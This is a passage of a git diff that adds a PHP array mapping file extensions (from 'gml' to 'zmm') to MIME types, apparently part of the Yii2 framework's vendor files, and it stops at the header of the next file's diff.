'application/vnd.groove-identity-message', + 'gml' => 'application/gml+xml', + 'gmx' => 'application/vnd.gmx', + 'gnumeric' => 'application/x-gnumeric', + 'gph' => 'application/vnd.flographit', + 'gpx' => 'application/gpx+xml', + 'gqf' => 'application/vnd.grafeq', + 'gqs' => 'application/vnd.grafeq', + 'gram' => 'application/srgs', + 'gramps' => 'application/x-gramps-xml', + 'gre' => 'application/vnd.geometry-explorer', + 'grv' => 'application/vnd.groove-injector', + 'grxml' => 'application/srgs+xml', + 'gsf' => 'application/x-font-ghostscript', + 'gtar' => 'application/x-gtar', + 'gtm' => 'application/vnd.groove-tool-message', + 'gtw' => 'model/vnd.gtw', + 'gv' => 'text/vnd.graphviz', + 'gxf' => 'application/gxf', + 'gxt' => 'application/vnd.geonext', + 'h' => 'text/x-c', + 'h261' => 'video/h261', + 'h263' => 'video/h263', + 'h264' => 'video/h264', + 'hal' => 'application/vnd.hal+xml', + 'hbci' => 'application/vnd.hbci', + 'hdf' => 'application/x-hdf', + 'hh' => 'text/x-c', + 'hlp' => 'application/winhlp', + 'hpgl' => 'application/vnd.hp-hpgl', + 'hpid' => 'application/vnd.hp-hpid', + 'hps' => 'application/vnd.hp-hps', + 'hqx' => 'application/mac-binhex40', + 'htke' => 'application/vnd.kenameaapp', + 'htm' => 'text/html', + 'html' => 'text/html', + 'hvd' => 'application/vnd.yamaha.hv-dic', + 'hvp' => 'application/vnd.yamaha.hv-voice', + 'hvs' => 'application/vnd.yamaha.hv-script', + 'i2g' => 'application/vnd.intergeo', + 'icc' => 'application/vnd.iccprofile', + 'ice' => 'x-conference/x-cooltalk', + 'icm' => 'application/vnd.iccprofile', + 'ico' => 'image/x-icon', + 'ics' => 'text/calendar', + 'ief' => 'image/ief', + 'ifb' => 'text/calendar', + 'ifm' => 'application/vnd.shana.informed.formdata', + 'iges' => 'model/iges', + 'igl' => 'application/vnd.igloader', + 'igm' => 'application/vnd.insors.igm', + 'igs' => 'model/iges', + 'igx' => 'application/vnd.micrografx.igx', + 'iif' => 'application/vnd.shana.informed.interchange', + 'imp' => 'application/vnd.accpac.simply.imp', + 'ims' => 'application/vnd.ms-ims', + 'in' => 'text/plain', + 'ink' => 'application/inkml+xml', + 'inkml' => 'application/inkml+xml', + 'install' => 'application/x-install-instructions', + 'iota' => 'application/vnd.astraea-software.iota', + 'ipfix' => 'application/ipfix', + 'ipk' => 'application/vnd.shana.informed.package', + 'irm' => 'application/vnd.ibm.rights-management', + 'irp' => 'application/vnd.irepository.package+xml', + 'iso' => 'application/x-iso9660-image', + 'itp' => 'application/vnd.shana.informed.formtemplate', + 'ivp' => 'application/vnd.immervision-ivp', + 'ivu' => 'application/vnd.immervision-ivu', + 'jad' => 'text/vnd.sun.j2me.app-descriptor', + 'jam' => 'application/vnd.jam', + 'jar' => 'application/java-archive', + 'java' => 'text/x-java-source', + 'jisp' => 'application/vnd.jisp', + 'jlt' => 'application/vnd.hp-jlyt', + 'jnlp' => 'application/x-java-jnlp-file', + 'joda' => 'application/vnd.joost.joda-archive', + 'jpe' => 'image/jpeg', + 'jpeg' => 'image/jpeg', + 'jpg' => 'image/jpeg', + 'jpgm' => 'video/jpm', + 'jpgv' => 'video/jpeg', + 'jpm' => 'video/jpm', + 'js' => 'application/javascript', + 'json' => 'application/json', + 'jsonml' => 'application/jsonml+json', + 'kar' => 'audio/midi', + 'karbon' => 'application/vnd.kde.karbon', + 'kfo' => 'application/vnd.kde.kformula', + 'kia' => 'application/vnd.kidspiration', + 'kml' => 'application/vnd.google-earth.kml+xml', + 'kmz' => 'application/vnd.google-earth.kmz', + 'kne' => 'application/vnd.kinar', + 'knp' => 'application/vnd.kinar', + 'kon' => 'application/vnd.kde.kontour', + 'kpr' => 'application/vnd.kde.kpresenter', + 'kpt' => 'application/vnd.kde.kpresenter', + 'kpxx' => 'application/vnd.ds-keypoint', + 'ksp' => 'application/vnd.kde.kspread', + 'ktr' => 'application/vnd.kahootz', + 'ktx' => 'image/ktx', + 'ktz' => 'application/vnd.kahootz', + 'kwd' => 'application/vnd.kde.kword', + 'kwt' => 'application/vnd.kde.kword', + 'lasxml' => 'application/vnd.las.las+xml', + 'latex' => 'application/x-latex', + 'lbd' => 'application/vnd.llamagraphics.life-balance.desktop', + 'lbe' => 'application/vnd.llamagraphics.life-balance.exchange+xml', + 'les' => 'application/vnd.hhe.lesson-player', + 'lha' => 'application/x-lzh-compressed', + 'link66' => 'application/vnd.route66.link66+xml', + 'list' => 'text/plain', + 'list3820' => 'application/vnd.ibm.modcap', + 'listafp' => 'application/vnd.ibm.modcap', + 'lnk' => 'application/x-ms-shortcut', + 'log' => 'text/plain', + 'lostxml' => 'application/lost+xml', + 'lrf' => 'application/octet-stream', + 'lrm' => 'application/vnd.ms-lrm', + 'ltf' => 'application/vnd.frogans.ltf', + 'lvp' => 'audio/vnd.lucent.voice', + 'lwp' => 'application/vnd.lotus-wordpro', + 'lzh' => 'application/x-lzh-compressed', + 'm13' => 'application/x-msmediaview', + 'm14' => 'application/x-msmediaview', + 'm1v' => 'video/mpeg', + 'm21' => 'application/mp21', + 'm2a' => 'audio/mpeg', + 'm2v' => 'video/mpeg', + 'm3a' => 'audio/mpeg', + 'm3u' => 'audio/x-mpegurl', + 'm3u8' => 'application/vnd.apple.mpegurl', + 'm4u' => 'video/vnd.mpegurl', + 'm4v' => 'video/x-m4v', + 'ma' => 'application/mathematica', + 'mads' => 'application/mads+xml', + 'mag' => 'application/vnd.ecowin.chart', + 'maker' => 'application/vnd.framemaker', + 'man' => 'text/troff', + 'mar' => 'application/octet-stream', + 'mathml' => 'application/mathml+xml', + 'mb' => 'application/mathematica', + 'mbk' => 'application/vnd.mobius.mbk', + 'mbox' => 'application/mbox', + 'mc1' => 'application/vnd.medcalcdata', + 'mcd' => 'application/vnd.mcd', + 'mcurl' => 'text/vnd.curl.mcurl', + 'mdb' => 'application/x-msaccess', + 'mdi' => 'image/vnd.ms-modi', + 'me' => 'text/troff', + 'mesh' => 'model/mesh', + 'meta4' => 'application/metalink4+xml', + 'metalink' => 'application/metalink+xml', + 'mets' => 'application/mets+xml', + 'mfm' => 'application/vnd.mfmp', + 'mft' => 'application/rpki-manifest', + 'mgp' => 'application/vnd.osgeo.mapguide.package', + 'mgz' => 'application/vnd.proteus.magazine', + 'mid' => 'audio/midi', + 'midi' => 'audio/midi', + 'mie' => 'application/x-mie', + 'mif' => 'application/vnd.mif', + 'mime' => 'message/rfc822', + 'mj2' => 'video/mj2', + 'mjp2' => 'video/mj2', + 'mk3d' => 'video/x-matroska', + 'mka' => 'audio/x-matroska', + 'mks' => 'video/x-matroska', + 'mkv' => 'video/x-matroska', + 'mlp' => 'application/vnd.dolby.mlp', + 'mmd' => 'application/vnd.chipnuts.karaoke-mmd', + 'mmf' => 'application/vnd.smaf', + 'mmr' => 'image/vnd.fujixerox.edmics-mmr', + 'mng' => 'video/x-mng', + 'mny' => 'application/x-msmoney', + 'mobi' => 'application/x-mobipocket-ebook', + 'mods' => 'application/mods+xml', + 'mov' => 'video/quicktime', + 'movie' => 'video/x-sgi-movie', + 'mp2' => 'audio/mpeg', + 'mp21' => 'application/mp21', + 'mp2a' => 'audio/mpeg', + 'mp3' => 'audio/mpeg', + 'mp4' => 'video/mp4', + 'mp4a' => 'audio/mp4', + 'mp4s' => 'application/mp4', + 'mp4v' => 'video/mp4', + 'mpc' => 'application/vnd.mophun.certificate', + 'mpe' => 'video/mpeg', + 'mpeg' => 'video/mpeg', + 'mpg' => 'video/mpeg', + 'mpg4' => 'video/mp4', + 'mpga' => 'audio/mpeg', + 'mpkg' => 'application/vnd.apple.installer+xml', + 'mpm' => 'application/vnd.blueice.multipass', + 'mpn' => 'application/vnd.mophun.application', + 'mpp' => 'application/vnd.ms-project', + 'mpt' => 'application/vnd.ms-project', + 'mpy' => 'application/vnd.ibm.minipay', + 'mqy' => 'application/vnd.mobius.mqy', + 'mrc' => 'application/marc', + 'mrcx' => 'application/marcxml+xml', + 'ms' => 'text/troff', + 'mscml' => 'application/mediaservercontrol+xml', + 'mseed' => 'application/vnd.fdsn.mseed', + 'mseq' => 'application/vnd.mseq', + 'msf' => 'application/vnd.epson.msf', + 'msh' => 'model/mesh', + 'msi' => 'application/x-msdownload', + 'msl' => 'application/vnd.mobius.msl', + 'msty' => 'application/vnd.muvee.style', + 'mts' => 'model/vnd.mts', + 'mus' => 'application/vnd.musician', + 'musicxml' => 'application/vnd.recordare.musicxml+xml', + 'mvb' => 'application/x-msmediaview', + 'mwf' => 'application/vnd.mfer', + 'mxf' => 'application/mxf', + 'mxl' => 'application/vnd.recordare.musicxml', + 'mxml' => 'application/xv+xml', + 'mxs' => 'application/vnd.triscape.mxs', + 'mxu' => 'video/vnd.mpegurl', + 'n-gage' => 'application/vnd.nokia.n-gage.symbian.install', + 'n3' => 'text/n3', + 'nb' => 'application/mathematica', + 'nbp' => 'application/vnd.wolfram.player', + 'nc' => 'application/x-netcdf', + 'ncx' => 'application/x-dtbncx+xml', + 'nfo' => 'text/x-nfo', + 'ngdat' => 'application/vnd.nokia.n-gage.data', + 'nitf' => 'application/vnd.nitf', + 'nlu' => 'application/vnd.neurolanguage.nlu', + 'nml' => 'application/vnd.enliven', + 'nnd' => 'application/vnd.noblenet-directory', + 'nns' => 'application/vnd.noblenet-sealer', + 'nnw' => 'application/vnd.noblenet-web', + 'npx' => 'image/vnd.net-fpx', + 'nsc' => 'application/x-conference', + 'nsf' => 'application/vnd.lotus-notes', + 'ntf' => 'application/vnd.nitf', + 'nzb' => 'application/x-nzb', + 'oa2' => 'application/vnd.fujitsu.oasys2', + 'oa3' => 'application/vnd.fujitsu.oasys3', + 'oas' => 'application/vnd.fujitsu.oasys', + 'obd' => 'application/x-msbinder', + 'obj' => 'application/x-tgif', + 'oda' => 'application/oda', + 'odb' => 'application/vnd.oasis.opendocument.database', + 'odc' => 'application/vnd.oasis.opendocument.chart', + 'odf' => 'application/vnd.oasis.opendocument.formula', + 'odft' => 'application/vnd.oasis.opendocument.formula-template', + 'odg' => 'application/vnd.oasis.opendocument.graphics', + 'odi' => 'application/vnd.oasis.opendocument.image', + 'odm' => 'application/vnd.oasis.opendocument.text-master', + 'odp' => 'application/vnd.oasis.opendocument.presentation', + 'ods' => 'application/vnd.oasis.opendocument.spreadsheet', + 'odt' => 'application/vnd.oasis.opendocument.text', + 'oga' => 'audio/ogg', + 'ogg' => 'audio/ogg', + 'ogv' => 'video/ogg', + 'ogx' => 'application/ogg', + 'omdoc' => 'application/omdoc+xml', + 'onepkg' => 'application/onenote', + 'onetmp' => 'application/onenote', + 'onetoc' => 'application/onenote', + 'onetoc2' => 'application/onenote', + 'opf' => 'application/oebps-package+xml', + 'opml' => 'text/x-opml', + 'oprc' => 'application/vnd.palm', + 'org' => 'application/vnd.lotus-organizer', + 'osf' => 'application/vnd.yamaha.openscoreformat', + 'osfpvg' => 'application/vnd.yamaha.openscoreformat.osfpvg+xml', + 'otc' => 'application/vnd.oasis.opendocument.chart-template', + 'otf' => 'application/x-font-otf', + 'otg' => 'application/vnd.oasis.opendocument.graphics-template', + 'oth' => 'application/vnd.oasis.opendocument.text-web', + 'oti' => 'application/vnd.oasis.opendocument.image-template', + 'otp' => 'application/vnd.oasis.opendocument.presentation-template', + 'ots' => 'application/vnd.oasis.opendocument.spreadsheet-template', + 'ott' => 'application/vnd.oasis.opendocument.text-template', + 'oxps' => 'application/oxps', + 'oxt' => 'application/vnd.openofficeorg.extension', + 'p' => 'text/x-pascal', + 'p10' => 'application/pkcs10', + 'p12' => 'application/x-pkcs12', + 'p7b' => 'application/x-pkcs7-certificates', + 'p7c' => 'application/pkcs7-mime', + 'p7m' => 'application/pkcs7-mime', + 'p7r' => 'application/x-pkcs7-certreqresp', + 'p7s' => 'application/pkcs7-signature', + 'p8' => 'application/pkcs8', + 'pas' => 'text/x-pascal', + 'paw' => 'application/vnd.pawaafile', + 'pbd' => 'application/vnd.powerbuilder6', + 'pbm' => 'image/x-portable-bitmap', + 'pcap' => 'application/vnd.tcpdump.pcap', + 'pcf' => 'application/x-font-pcf', + 'pcl' => 'application/vnd.hp-pcl', + 'pclxl' => 'application/vnd.hp-pclxl', + 'pct' => 'image/x-pict', + 'pcurl' => 'application/vnd.curl.pcurl', + 'pcx' => 'image/x-pcx', + 'pdb' => 'application/vnd.palm', + 'pdf' => 'application/pdf', + 'pfa' => 'application/x-font-type1', + 'pfb' => 'application/x-font-type1', + 'pfm' => 'application/x-font-type1', + 'pfr' => 'application/font-tdpfr', + 'pfx' => 'application/x-pkcs12', + 'pgm' => 'image/x-portable-graymap', + 'pgn' => 'application/x-chess-pgn', + 'pgp' => 'application/pgp-encrypted', + 'pic' => 'image/x-pict', + 'pkg' => 'application/octet-stream', + 'pki' => 'application/pkixcmp', + 'pkipath' => 'application/pkix-pkipath', + 'plb' => 'application/vnd.3gpp.pic-bw-large', + 'plc' => 'application/vnd.mobius.plc', + 'plf' => 'application/vnd.pocketlearn', + 'pls' => 'application/pls+xml', + 'pml' => 'application/vnd.ctc-posml', + 'png' => 'image/png', + 'pnm' => 'image/x-portable-anymap', + 'portpkg' => 'application/vnd.macports.portpkg', + 'pot' => 'application/vnd.ms-powerpoint', + 'potm' => 'application/vnd.ms-powerpoint.template.macroenabled.12', + 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', + 'ppam' => 'application/vnd.ms-powerpoint.addin.macroenabled.12', + 'ppd' => 'application/vnd.cups-ppd', + 'ppm' => 'image/x-portable-pixmap', + 'pps' => 'application/vnd.ms-powerpoint', + 'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroenabled.12', + 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', + 'ppt' => 'application/vnd.ms-powerpoint', + 'pptm' => 'application/vnd.ms-powerpoint.presentation.macroenabled.12', + 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', + 'pqa' => 'application/vnd.palm', + 'prc' => 'application/x-mobipocket-ebook', + 'pre' => 'application/vnd.lotus-freelance', + 'prf' => 'application/pics-rules', + 'ps' => 'application/postscript', + 'psb' => 'application/vnd.3gpp.pic-bw-small', + 'psd' => 'image/vnd.adobe.photoshop', + 'psf' => 'application/x-font-linux-psf', + 'pskcxml' => 'application/pskc+xml', + 'ptid' => 'application/vnd.pvi.ptid1', + 'pub' => 'application/x-mspublisher', + 'pvb' => 'application/vnd.3gpp.pic-bw-var', + 'pwn' => 'application/vnd.3m.post-it-notes', + 'pya' => 'audio/vnd.ms-playready.media.pya', + 'pyv' => 'video/vnd.ms-playready.media.pyv', + 'qam' => 'application/vnd.epson.quickanime', + 'qbo' => 'application/vnd.intu.qbo', + 'qfx' => 'application/vnd.intu.qfx', + 'qps' => 'application/vnd.publishare-delta-tree', + 'qt' => 'video/quicktime', + 'qwd' => 'application/vnd.quark.quarkxpress', + 'qwt' => 'application/vnd.quark.quarkxpress', + 'qxb' => 'application/vnd.quark.quarkxpress', + 'qxd' => 'application/vnd.quark.quarkxpress', + 'qxl' => 'application/vnd.quark.quarkxpress', + 'qxt' => 'application/vnd.quark.quarkxpress', + 'ra' => 'audio/x-pn-realaudio', + 'ram' => 'audio/x-pn-realaudio', + 'rar' => 'application/x-rar-compressed', + 'ras' => 'image/x-cmu-raster', + 'rcprofile' => 'application/vnd.ipunplugged.rcprofile', + 'rdf' => 'application/rdf+xml', + 'rdz' => 'application/vnd.data-vision.rdz', + 'rep' => 'application/vnd.businessobjects', + 'res' => 'application/x-dtbresource+xml', + 'rgb' => 'image/x-rgb', + 'rif' => 'application/reginfo+xml', + 'rip' => 'audio/vnd.rip', + 'ris' => 'application/x-research-info-systems', + 'rl' => 'application/resource-lists+xml', + 'rlc' => 'image/vnd.fujixerox.edmics-rlc', + 'rld' => 'application/resource-lists-diff+xml', + 'rm' => 'application/vnd.rn-realmedia', + 'rmi' => 'audio/midi', + 'rmp' => 'audio/x-pn-realaudio-plugin', + 'rms' => 'application/vnd.jcp.javame.midlet-rms', + 'rmvb' => 'application/vnd.rn-realmedia-vbr', + 'rnc' => 'application/relax-ng-compact-syntax', + 'roa' => 'application/rpki-roa', + 'roff' => 'text/troff', + 'rp9' => 'application/vnd.cloanto.rp9', + 'rpss' => 'application/vnd.nokia.radio-presets', + 'rpst' => 'application/vnd.nokia.radio-preset', + 'rq' => 'application/sparql-query', + 'rs' => 'application/rls-services+xml', + 'rsd' => 'application/rsd+xml', + 'rss' => 'application/rss+xml', + 'rtf' => 'application/rtf', + 'rtx' => 'text/richtext', + 's' => 'text/x-asm', + 's3m' => 'audio/s3m', + 'saf' => 'application/vnd.yamaha.smaf-audio', + 'sbml' => 'application/sbml+xml', + 'sc' => 'application/vnd.ibm.secure-container', + 'scd' => 'application/x-msschedule', + 'scm' => 'application/vnd.lotus-screencam', + 'scq' => 'application/scvp-cv-request', + 'scs' => 'application/scvp-cv-response', + 'scurl' => 'text/vnd.curl.scurl', + 'sda' => 'application/vnd.stardivision.draw', + 'sdc' => 'application/vnd.stardivision.calc', + 'sdd' => 'application/vnd.stardivision.impress', + 'sdkd' => 'application/vnd.solent.sdkm+xml', + 'sdkm' => 'application/vnd.solent.sdkm+xml', + 'sdp' => 'application/sdp', + 'sdw' => 'application/vnd.stardivision.writer', + 'see' => 'application/vnd.seemail', + 'seed' => 'application/vnd.fdsn.seed', + 'sema' => 'application/vnd.sema', + 'semd' => 'application/vnd.semd', + 'semf' => 'application/vnd.semf', + 'ser' => 'application/java-serialized-object', + 'setpay' => 'application/set-payment-initiation', + 'setreg' => 'application/set-registration-initiation', + 'sfd-hdstx' => 'application/vnd.hydrostatix.sof-data', + 'sfs' => 'application/vnd.spotfire.sfs', + 'sfv' => 'text/x-sfv', + 'sgi' => 'image/sgi', + 'sgl' => 'application/vnd.stardivision.writer-global', + 'sgm' => 'text/sgml', + 'sgml' => 'text/sgml', + 'sh' => 'application/x-sh', + 'shar' => 'application/x-shar', + 'shf' => 'application/shf+xml', + 'sid' => 'image/x-mrsid-image', + 'sig' => 'application/pgp-signature', + 'sil' => 'audio/silk', + 'silo' => 'model/mesh', + 'sis' => 'application/vnd.symbian.install', + 'sisx' => 'application/vnd.symbian.install', + 'sit' => 'application/x-stuffit', + 'sitx' => 'application/x-stuffitx', + 'skd' => 'application/vnd.koan', + 'skm' => 'application/vnd.koan', + 'skp' => 'application/vnd.koan', + 'skt' => 'application/vnd.koan', + 'sldm' => 'application/vnd.ms-powerpoint.slide.macroenabled.12', + 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', + 'slt' => 'application/vnd.epson.salt', + 'sm' => 'application/vnd.stepmania.stepchart', + 'smf' => 'application/vnd.stardivision.math', + 'smi' => 'application/smil+xml', + 'smil' => 'application/smil+xml', + 'smv' => 'video/x-smv', + 'smzip' => 'application/vnd.stepmania.package', + 'snd' => 'audio/basic', + 'snf' => 'application/x-font-snf', + 'so' => 'application/octet-stream', + 'spc' => 'application/x-pkcs7-certificates', + 'spf' => 'application/vnd.yamaha.smaf-phrase', + 'spl' => 'application/x-futuresplash', + 'spot' => 'text/vnd.in3d.spot', + 'spp' => 'application/scvp-vp-response', + 'spq' => 'application/scvp-vp-request', + 'spx' => 'audio/ogg', + 'sql' => 'application/x-sql', + 'src' => 'application/x-wais-source', + 'srt' => 'application/x-subrip', + 'sru' => 'application/sru+xml', + 'srx' => 'application/sparql-results+xml', + 'ssdl' => 'application/ssdl+xml', + 'sse' => 'application/vnd.kodak-descriptor', + 'ssf' => 'application/vnd.epson.ssf', + 'ssml' => 'application/ssml+xml', + 'st' => 'application/vnd.sailingtracker.track', + 'stc' => 'application/vnd.sun.xml.calc.template', + 'std' => 'application/vnd.sun.xml.draw.template', + 'stf' => 'application/vnd.wt.stf', + 'sti' => 'application/vnd.sun.xml.impress.template', + 'stk' => 'application/hyperstudio', + 'stl' => 'application/vnd.ms-pki.stl', + 'str' => 'application/vnd.pg.format', + 'stw' => 'application/vnd.sun.xml.writer.template', + 'sub' => 'text/vnd.dvb.subtitle', + 'sus' => 'application/vnd.sus-calendar', + 'susp' => 'application/vnd.sus-calendar', + 'sv4cpio' => 'application/x-sv4cpio', + 'sv4crc' => 'application/x-sv4crc', + 'svc' => 'application/vnd.dvb.service', + 'svd' => 'application/vnd.svd', + 'svg' => 'image/svg+xml', + 'svgz' => 'image/svg+xml', + 'swa' => 'application/x-director', + 'swf' => 'application/x-shockwave-flash', + 'swi' => 'application/vnd.aristanetworks.swi', + 'sxc' => 'application/vnd.sun.xml.calc', + 'sxd' => 'application/vnd.sun.xml.draw', + 'sxg' => 'application/vnd.sun.xml.writer.global', + 'sxi' => 'application/vnd.sun.xml.impress', + 'sxm' => 'application/vnd.sun.xml.math', + 'sxw' => 'application/vnd.sun.xml.writer', + 't' => 'text/troff', + 't3' => 'application/x-t3vm-image', + 'taglet' => 'application/vnd.mynfc', + 'tao' => 'application/vnd.tao.intent-module-archive', + 'tar' => 'application/x-tar', + 'tcap' => 'application/vnd.3gpp2.tcap', + 'tcl' => 'application/x-tcl', + 'teacher' => 'application/vnd.smart.teacher', + 'tei' => 'application/tei+xml', + 'teicorpus' => 'application/tei+xml', + 'tex' => 'application/x-tex', + 'texi' => 'application/x-texinfo', + 'texinfo' => 'application/x-texinfo', + 'text' => 'text/plain', + 'tfi' => 'application/thraud+xml', + 'tfm' => 'application/x-tex-tfm', + 'tga' => 'image/x-tga', + 'thmx' => 'application/vnd.ms-officetheme', + 'tif' => 'image/tiff', + 'tiff' => 'image/tiff', + 'tmo' => 'application/vnd.tmobile-livetv', + 'torrent' => 'application/x-bittorrent', + 'tpl' => 'application/vnd.groove-tool-template', + 'tpt' => 'application/vnd.trid.tpt', + 'tr' => 'text/troff', + 'tra' => 'application/vnd.trueapp', + 'trm' => 'application/x-msterminal', + 'tsd' => 'application/timestamped-data', + 'tsv' => 'text/tab-separated-values', + 'ttc' => 'application/x-font-ttf', + 'ttf' => 'application/x-font-ttf', + 'ttl' => 'text/turtle', + 'twd' => 'application/vnd.simtech-mindmapper', + 'twds' => 'application/vnd.simtech-mindmapper', + 'txd' => 'application/vnd.genomatix.tuxedo', + 'txf' => 'application/vnd.mobius.txf', + 'txt' => 'text/plain', + 'u32' => 'application/x-authorware-bin', + 'udeb' => 'application/x-debian-package', + 'ufd' => 'application/vnd.ufdl', + 'ufdl' => 'application/vnd.ufdl', + 'ulx' => 'application/x-glulx', + 'umj' => 'application/vnd.umajin', + 'unityweb' => 'application/vnd.unity', + 'uoml' => 'application/vnd.uoml+xml', + 'uri' => 'text/uri-list', + 'uris' => 'text/uri-list', + 'urls' => 'text/uri-list', + 'ustar' => 'application/x-ustar', + 'utz' => 'application/vnd.uiq.theme', + 'uu' => 'text/x-uuencode', + 'uva' => 'audio/vnd.dece.audio', + 'uvd' => 'application/vnd.dece.data', + 'uvf' => 'application/vnd.dece.data', + 'uvg' => 'image/vnd.dece.graphic', + 'uvh' => 'video/vnd.dece.hd', + 'uvi' => 'image/vnd.dece.graphic', + 'uvm' => 'video/vnd.dece.mobile', + 'uvp' => 'video/vnd.dece.pd', + 'uvs' => 'video/vnd.dece.sd', + 'uvt' => 'application/vnd.dece.ttml+xml', + 'uvu' => 'video/vnd.uvvu.mp4', + 'uvv' => 'video/vnd.dece.video', + 'uvva' => 'audio/vnd.dece.audio', + 'uvvd' => 'application/vnd.dece.data', + 'uvvf' => 'application/vnd.dece.data', + 'uvvg' => 'image/vnd.dece.graphic', + 'uvvh' => 'video/vnd.dece.hd', + 'uvvi' => 'image/vnd.dece.graphic', + 'uvvm' => 'video/vnd.dece.mobile', + 'uvvp' => 'video/vnd.dece.pd', + 'uvvs' => 'video/vnd.dece.sd', + 'uvvt' => 'application/vnd.dece.ttml+xml', + 'uvvu' => 'video/vnd.uvvu.mp4', + 'uvvv' => 'video/vnd.dece.video', + 'uvvx' => 'application/vnd.dece.unspecified', + 'uvvz' => 'application/vnd.dece.zip', + 'uvx' => 'application/vnd.dece.unspecified', + 'uvz' => 'application/vnd.dece.zip', + 'vcard' => 'text/vcard', + 'vcd' => 'application/x-cdlink', + 'vcf' => 'text/x-vcard', + 'vcg' => 'application/vnd.groove-vcard', + 'vcs' => 'text/x-vcalendar', + 'vcx' => 'application/vnd.vcx', + 'vis' => 'application/vnd.visionary', + 'viv' => 'video/vnd.vivo', + 'vob' => 'video/x-ms-vob', + 'vor' => 'application/vnd.stardivision.writer', + 'vox' => 'application/x-authorware-bin', + 'vrml' => 'model/vrml', + 'vsd' => 'application/vnd.visio', + 'vsf' => 'application/vnd.vsf', + 'vss' => 'application/vnd.visio', + 'vst' => 'application/vnd.visio', + 'vsw' => 'application/vnd.visio', + 'vtu' => 'model/vnd.vtu', + 'vxml' => 'application/voicexml+xml', + 'w3d' => 'application/x-director', + 'wad' => 'application/x-doom', + 'wav' => 'audio/x-wav', + 'wax' => 'audio/x-ms-wax', + 'wbmp' => 'image/vnd.wap.wbmp', + 'wbs' => 'application/vnd.criticaltools.wbs+xml', + 'wbxml' => 'application/vnd.wap.wbxml', + 'wcm' => 'application/vnd.ms-works', + 'wdb' => 'application/vnd.ms-works', + 'wdp' => 'image/vnd.ms-photo', + 'weba' => 'audio/webm', + 'webm' => 'video/webm', + 'webp' => 'image/webp', + 'wg' => 'application/vnd.pmi.widget', + 'wgt' => 'application/widget', + 'wks' => 'application/vnd.ms-works', + 'wm' => 'video/x-ms-wm', + 'wma' => 'audio/x-ms-wma', + 'wmd' => 'application/x-ms-wmd', + 'wmf' => 'application/x-msmetafile', + 'wml' => 'text/vnd.wap.wml', + 'wmlc' => 'application/vnd.wap.wmlc', + 'wmls' => 'text/vnd.wap.wmlscript', + 'wmlsc' => 'application/vnd.wap.wmlscriptc', + 'wmv' => 'video/x-ms-wmv', + 'wmx' => 'video/x-ms-wmx', + 'wmz' => 'application/x-msmetafile', + 'woff' => 'application/font-woff', + 'wpd' => 'application/vnd.wordperfect', + 'wpl' => 'application/vnd.ms-wpl', + 'wps' => 'application/vnd.ms-works', + 'wqd' => 'application/vnd.wqd', + 'wri' => 'application/x-mswrite', + 'wrl' => 'model/vrml', + 'wsdl' => 'application/wsdl+xml', + 'wspolicy' => 'application/wspolicy+xml', + 'wtb' => 'application/vnd.webturbo', + 'wvx' => 'video/x-ms-wvx', + 'x32' => 'application/x-authorware-bin', + 'x3d' => 'model/x3d+xml', + 'x3db' => 'model/x3d+binary', + 'x3dbz' => 'model/x3d+binary', + 'x3dv' => 'model/x3d+vrml', + 'x3dvz' => 'model/x3d+vrml', + 'x3dz' => 'model/x3d+xml', + 'xaml' => 'application/xaml+xml', + 'xap' => 'application/x-silverlight-app', + 'xar' => 'application/vnd.xara', + 'xbap' => 'application/x-ms-xbap', + 'xbd' => 'application/vnd.fujixerox.docuworks.binder', + 'xbm' => 'image/x-xbitmap', + 'xdf' => 'application/xcap-diff+xml', + 'xdm' => 'application/vnd.syncml.dm+xml', + 'xdp' => 'application/vnd.adobe.xdp+xml', + 'xdssc' => 'application/dssc+xml', + 'xdw' => 'application/vnd.fujixerox.docuworks', + 'xenc' => 'application/xenc+xml', + 'xer' => 'application/patch-ops-error+xml', + 'xfdf' => 'application/vnd.adobe.xfdf', + 'xfdl' => 'application/vnd.xfdl', + 'xht' => 'application/xhtml+xml', + 'xhtml' => 'application/xhtml+xml', + 'xhvml' => 'application/xv+xml', + 'xif' => 'image/vnd.xiff', + 'xla' => 'application/vnd.ms-excel', + 'xlam' => 'application/vnd.ms-excel.addin.macroenabled.12', + 'xlc' => 'application/vnd.ms-excel', + 'xlf' => 'application/x-xliff+xml', + 'xlm' => 'application/vnd.ms-excel', + 'xls' => 'application/vnd.ms-excel', + 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroenabled.12', + 'xlsm' => 'application/vnd.ms-excel.sheet.macroenabled.12', + 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', + 'xlt' => 'application/vnd.ms-excel', + 'xltm' => 'application/vnd.ms-excel.template.macroenabled.12', + 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', + 'xlw' => 'application/vnd.ms-excel', + 'xm' => 'audio/xm', + 'xml' => 'application/xml', + 'xo' => 'application/vnd.olpc-sugar', + 'xop' => 'application/xop+xml', + 'xpi' => 'application/x-xpinstall', + 'xpl' => 'application/xproc+xml', + 'xpm' => 'image/x-xpixmap', + 'xpr' => 'application/vnd.is-xpr', + 'xps' => 'application/vnd.ms-xpsdocument', + 'xpw' => 'application/vnd.intercon.formnet', + 'xpx' => 'application/vnd.intercon.formnet', + 'xsl' => 'application/xml', + 'xslt' => 'application/xslt+xml', + 'xsm' => 'application/vnd.syncml+xml', + 'xspf' => 'application/xspf+xml', + 'xul' => 'application/vnd.mozilla.xul+xml', + 'xvm' => 'application/xv+xml', + 'xvml' => 'application/xv+xml', + 'xwd' => 'image/x-xwindowdump', + 'xyz' => 'chemical/x-xyz', + 'xz' => 'application/x-xz', + 'yang' => 'application/yang', + 'yin' => 'application/yin+xml', + 'z1' => 'application/x-zmachine', + 'z2' => 'application/x-zmachine', + 'z3' => 'application/x-zmachine', + 'z4' => 'application/x-zmachine', + 'z5' => 'application/x-zmachine', + 'z6' => 'application/x-zmachine', + 'z7' => 'application/x-zmachine', + 'z8' => 'application/x-zmachine', + 'zaz' => 'application/vnd.zzazz.deck+xml', + 'zip' => 'application/zip', + 'zir' => 'application/vnd.zul', + 'zirz' => 'application/vnd.zul', + 'zmm' => 'application/vnd.handheld-entertainment+xml', + 123 => 'application/vnd.lotus-1-2-3', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/i18n/DbMessageSource.php 